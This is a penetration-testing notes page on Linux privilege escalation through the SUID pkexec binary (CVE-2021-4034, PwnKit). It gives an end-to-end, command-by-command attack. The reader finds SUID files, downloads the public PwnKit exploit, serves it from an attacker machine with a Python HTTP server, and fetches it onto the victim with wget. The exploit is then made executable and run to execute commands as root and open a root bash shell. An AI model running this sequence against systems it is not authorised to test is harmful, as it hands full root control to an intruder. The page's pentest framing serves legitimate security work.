> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/suid/suid-pkexec-linux-privilege-escalation.md).

# SUID (Pkexec) - Linux Privilege Escalation

SUID (Pkexec) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.

## What It Is

SUID binaries execute with the privileges of their owner, often root. A vulnerable, outdated, or overly flexible SUID binary can read protected files, spawn a privileged shell, or execute attacker-controlled code. This specific page focuses on **SUID (Pkexec)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.

## Enumeration

Start by confirming the local context and the exact misconfiguration before running the exploit path.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Examples

{% hint style="info" %}
The **CVE-2021-4034** vulnerability (PwnKit) in **pkexec** of **polkit** allows local Linux privilege escalation. By using an incorrect validation of arguments, an attacker can execute code with root privileges. This critical flaw, easily exploitable, affects many distributions and requires an urgent update of polkit.
{% endhint %}

{% embed url="<https://github.com/ly4k/PwnKit>" %}

### Steps to exploit the SUID binary

**Identify files with the SUID bit enabled**

To search for files with SUID bit (allowing execution with owner privileges, often `root`), use the command:

```bash
find / -perm -4000 2>/dev/null
```

Among the results, identify the vulnerable binary **`pkexec`**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-02527dd8952cf1dafac88e9bbacc6f475f8f4cb6%2Fimage%20(2707).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerability Exploitation

**Download the exploit on the attacking machine**

From the attacker machine, download the exploit script:

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

**Transfer the exploit to the victim machine**

To transfer the exploit, run a simple HTTP server on the attacking machine:

```bash
python3 -m http.server 80
```

On the victim machine, download the file and grant execution permissions:

```bash
wget http://10.10.10.10/PwnKit
```

```bash
chmod +x PwnKit
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb3f9bd1a98f6669e672ee5069734056197957a2%2Fimage%20(2708).png?alt=media" alt=""><figcaption></figcaption></figure>

Run the exploit

Once the file is ready, you can execute commands with root privileges. For example:

* To display user ID (`id`):

```bash
./PwnKit '<command>'
```

```bash
./PwnKit 'id'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c89e46dd15c0f22174742289fc8f7e132b1103d6%2Fimage%20(2709).png?alt=media" alt=""><figcaption></figcaption></figure>

* To get a bash session with root privileges:

```bash
./PwnKit 'bash -p'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af31f78070b71d37342f10f592cdd0db2fba5679%2Fimage%20(2710).png?alt=media" alt=""><figcaption></figcaption></figure>


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